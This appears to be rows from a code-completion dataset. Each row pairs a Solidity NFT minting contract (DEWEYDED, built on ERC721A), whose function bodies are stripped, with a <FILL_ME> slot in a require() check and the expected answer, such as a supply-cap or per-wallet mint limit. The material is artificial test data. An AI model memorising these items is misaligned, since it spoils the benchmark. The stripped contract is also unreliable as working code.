| totalSupply().add(numberOfTokens)<=MAX_WL_SUPPLY,"Total WL Supply has been minted" | 157,388 | totalSupply().add(numberOfTokens)<=MAX_WL_SUPPLY |
"Exceeds Max mints allowed per whitelisted wallet" | // βββββββ βββββββββββ ββββββββββββββ βββ
// βββββββββββββββββββ βββββββββββββββ ββββ
// βββ βββββββββ βββ ββ βββββββββ βββββββ
// βββ βββββββββ ββββββββββββββββ βββββ
// ββββββββββββββββββββββββββββββββββ βββ
// βββββββ ββββββββ ββββββββ ββββββββ βββ
// βββββββ βββββββββββββββ
// ββββββββββββββββββββββββ
// βββ βββββββββ βββ βββ
// βββ βββββββββ βββ βββ
// ββββββββββββββββββββββββ
// βββββββ βββββββββββββββ
pragma solidity ^0.8.4;
pragma abicoder v2;
contract DEWEYDED is ERC721A, Ownable, DefaultOperatorFilterer {
using SafeMath for uint256;
using Strings for uint256;
bytes32 public merkleRoot;
bytes32 public vipMerkleRoot;
uint256 public MAX_SUPPLY= 10000;
uint256 public MAX_WL_SUPPLY = 10000;
uint256 public MAX_VIPWL_SUPPLY = 10000;
uint256 public WL_PRICE = 0.09 ether;
uint256 public VIPWL_PRICE = 0.09 ether;
uint256 public PRICE = 0.09 ether;
uint256 public giveawayLimit = 10000;
string public baseTokenURI;
bool public whitelistSaleIsActive;
bool public saleIsActive;
address private wallet1 = 0x753238366ed0A9F70401121e20C6aB7892B7A91D; // Wallet 1 - Project
address public Authorized = 0x774588c151329E5b094D870d303EEd4A0097686B; // Dev Wallet for Testing (no percentage)
uint256 public maxPurchase = 3;
uint256 public maxWLPurchase = 3;
uint256 public maxVIPPurchase = 3;
uint256 public maxTxWL = 3;
uint256 public maxTxVIP = 3;
uint256 public maxTx = 3;
constructor() ERC721A("DEWEYDED", "DEWEYDED") {}
modifier callerIsUser() {
}
modifier onlyAuthorized {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function flipSaleState() external onlyOwner {
}
function flipWhitelistSaleState() external onlyOwner {
}
function updateMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function updateVIPMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function whitelistMint(uint256 numberOfTokens, bytes32[] calldata merkleProof ) payable external callerIsUser {
require(whitelistSaleIsActive, "Whitelist Sale must be active to mint");
require(totalSupply().add(numberOfTokens) <= MAX_WL_SUPPLY, "Total WL Supply has been minted");
require(numberOfTokens > 0 && numberOfTokens <= maxTxWL, "Can only mint upto 1 NFTs in a transaction");
require(msg.value == WL_PRICE.mul(numberOfTokens), "Ether value sent is not correct");
require(<FILL_ME>)
// Verify the merkle proof
require(MerkleProof.verify(merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender)) ), "Invalid proof");
_safeMint(msg.sender, numberOfTokens);
}
function vipMint(uint256 numberOfTokens, bytes32[] calldata merkleProof ) payable external callerIsUser {
}
function mint(uint256 numberOfTokens) external payable callerIsUser {
}
function withdraw() public onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function giveAway(uint256 numberOfTokens, address to) external onlyOwner {
}
function numberMinted(address owner) public view returns (uint256) {
}
function setMaxSupply(uint256 _mxSupply) public onlyAuthorized {
}
function setWLMaxSupply(uint256 _mxWLSupply) public onlyAuthorized {
}
function setVIPMaxSupply(uint256 _mxVIPSupply) public onlyAuthorized {
}
function setPriceWL(uint256 _wlPrice) public onlyAuthorized {
}
function setPriceVIPWL(uint256 _vipwlPrice) public onlyAuthorized {
}
function setPrice(uint256 _price) public onlyAuthorized {
}
function setMaxTxLimit(uint256 _txLimit) public onlyAuthorized {
}
function setMaxTxWL(uint256 _txLimit) public onlyAuthorized {
}
function setMaxTxVIP(uint256 _txLimit) public onlyAuthorized {
}
function setMaxPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
function setMaxWLPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
function setMaxVIPPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
/*
--Opensea Filterer--
*/
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
}
| numberMinted(msg.sender).add(numberOfTokens)<=maxWLPurchase,"Exceeds Max mints allowed per whitelisted wallet" | 157,388 | numberMinted(msg.sender).add(numberOfTokens)<=maxWLPurchase |
"Total VIPWL Supply has been minted" | // βββββββ βββββββββββ ββββββββββββββ βββ
// βββββββββββββββββββ βββββββββββββββ ββββ
// βββ βββββββββ βββ ββ βββββββββ βββββββ
// βββ βββββββββ ββββββββββββββββ βββββ
// ββββββββββββββββββββββββββββββββββ βββ
// βββββββ ββββββββ ββββββββ ββββββββ βββ
// βββββββ βββββββββββββββ
// ββββββββββββββββββββββββ
// βββ βββββββββ βββ βββ
// βββ βββββββββ βββ βββ
// ββββββββββββββββββββββββ
// βββββββ βββββββββββββββ
pragma solidity ^0.8.4;
pragma abicoder v2;
contract DEWEYDED is ERC721A, Ownable, DefaultOperatorFilterer {
using SafeMath for uint256;
using Strings for uint256;
bytes32 public merkleRoot;
bytes32 public vipMerkleRoot;
uint256 public MAX_SUPPLY= 10000;
uint256 public MAX_WL_SUPPLY = 10000;
uint256 public MAX_VIPWL_SUPPLY = 10000;
uint256 public WL_PRICE = 0.09 ether;
uint256 public VIPWL_PRICE = 0.09 ether;
uint256 public PRICE = 0.09 ether;
uint256 public giveawayLimit = 10000;
string public baseTokenURI;
bool public whitelistSaleIsActive;
bool public saleIsActive;
address private wallet1 = 0x753238366ed0A9F70401121e20C6aB7892B7A91D; // Wallet 1 - Project
address public Authorized = 0x774588c151329E5b094D870d303EEd4A0097686B; // Dev Wallet for Testing (no percentage)
uint256 public maxPurchase = 3;
uint256 public maxWLPurchase = 3;
uint256 public maxVIPPurchase = 3;
uint256 public maxTxWL = 3;
uint256 public maxTxVIP = 3;
uint256 public maxTx = 3;
constructor() ERC721A("DEWEYDED", "DEWEYDED") {}
modifier callerIsUser() {
}
modifier onlyAuthorized {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function flipSaleState() external onlyOwner {
}
function flipWhitelistSaleState() external onlyOwner {
}
function updateMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function updateVIPMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function whitelistMint(uint256 numberOfTokens, bytes32[] calldata merkleProof ) payable external callerIsUser {
}
function vipMint(uint256 numberOfTokens, bytes32[] calldata merkleProof ) payable external callerIsUser {
require(whitelistSaleIsActive, "Whitelist Sale must be active to mint");
require(<FILL_ME>)
require(numberOfTokens > 0 && numberOfTokens <= maxTxVIP, "Can only mint max NFTs in a transaction");
require(msg.value == VIPWL_PRICE.mul(numberOfTokens), "Ether value sent is not correct");
require(numberMinted(msg.sender).add(numberOfTokens) <= maxVIPPurchase,"Exceeds Max mints allowed per whitelisted wallet");
// Verify the merkle proof
require(MerkleProof.verify(merkleProof, vipMerkleRoot, keccak256(abi.encodePacked(msg.sender)) ), "Invalid proof");
_safeMint(msg.sender, numberOfTokens);
}
function mint(uint256 numberOfTokens) external payable callerIsUser {
}
function withdraw() public onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function giveAway(uint256 numberOfTokens, address to) external onlyOwner {
}
function numberMinted(address owner) public view returns (uint256) {
}
function setMaxSupply(uint256 _mxSupply) public onlyAuthorized {
}
function setWLMaxSupply(uint256 _mxWLSupply) public onlyAuthorized {
}
function setVIPMaxSupply(uint256 _mxVIPSupply) public onlyAuthorized {
}
function setPriceWL(uint256 _wlPrice) public onlyAuthorized {
}
function setPriceVIPWL(uint256 _vipwlPrice) public onlyAuthorized {
}
function setPrice(uint256 _price) public onlyAuthorized {
}
function setMaxTxLimit(uint256 _txLimit) public onlyAuthorized {
}
function setMaxTxWL(uint256 _txLimit) public onlyAuthorized {
}
function setMaxTxVIP(uint256 _txLimit) public onlyAuthorized {
}
function setMaxPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
function setMaxWLPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
function setMaxVIPPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
/*
--Opensea Filterer--
*/
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
}
| totalSupply().add(numberOfTokens)<=MAX_VIPWL_SUPPLY,"Total VIPWL Supply has been minted" | 157,388 | totalSupply().add(numberOfTokens)<=MAX_VIPWL_SUPPLY |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.